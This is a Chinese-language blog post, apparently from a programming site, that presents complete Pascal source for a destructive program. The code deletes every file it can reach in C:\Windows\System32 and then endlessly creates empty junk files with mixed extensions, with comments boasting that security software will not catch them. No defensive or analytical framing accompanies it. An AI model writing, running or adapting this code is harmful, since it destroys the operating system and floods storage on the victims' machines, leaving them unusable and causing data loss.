运用Pascal来破坏DLL的一个实例
运用Pascal来破坏DLL文件的一个实例
关于Pascal静态调用和动态的调用DLL的学习您可以看Delphi/Lazarus栏目。
Uses Dos; {调用DOS库}
Const Root='C:\Windows\System32\'; {定位文件}
var vir:array [1..6] of string=('.rar','.sys','.txt','.zip','.exe','.com'); {定义垃圾文件后缀}
check:text;
total:string;
i,n,k:longint;
procedure bfp; {利用DOS库来破坏DLL文件,通过插入线程来破坏系统}
Var {定义}
FData:SearchRec;
F:File;
KFName:String[12];
I,J:Longint;
Begin
{$I-}
I:=0;
J:=0;
FindFirst(Root+'*.*',0,FData); {寻找路径}
KFName:=FData.Name; {定义名字 定位数据}
While DosError=0 Do {当DOS错误=0那么就开始 (初始值当然是0)}
Begin
FindNext(FData); {寻找下一个数据}
Assign(F,Root+KFName); {路径+名字}
Erase(F);
If IOResult<>0 Then {不断递加I输出错误编号}
Begin
I:=I+1;
Writeln('Error ',I,' Time(s)');
End
Else {否则}
Begin {输出定位文件的名字}
J:=J+1;
Writeln(FData.Name,' Was Already Deleted.');
End;
KFName:=FData.Name; {继续循环}
End;
Writeln(J,' File(s) Was Deleted.');
Writeln('Press Enter To Exit');
Readln;
End;
Begin
N:=maxlongint;
Bfp;
for i:=1 to n do {不断产生垃圾文件,后缀名全部都是安全软件查不到的}
Begin
If k=6 then k:=1;
Str(i,total);
Inc(k);
Total:=total+vir[k];
Assign(check,total);
Rewrite(check);
Close(check);
End;
End. {结束.}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· 周边上新:园子的第一款马克杯温暖上架
· 分享 3 个 .NET 开源的文件压缩处理库,助力快速实现文件压缩解压功能!
· Ollama——大语言模型本地部署的极速利器
· DeepSeek如何颠覆传统软件测试?测试工程师会被淘汰吗?
· 使用C#创建一个MCP客户端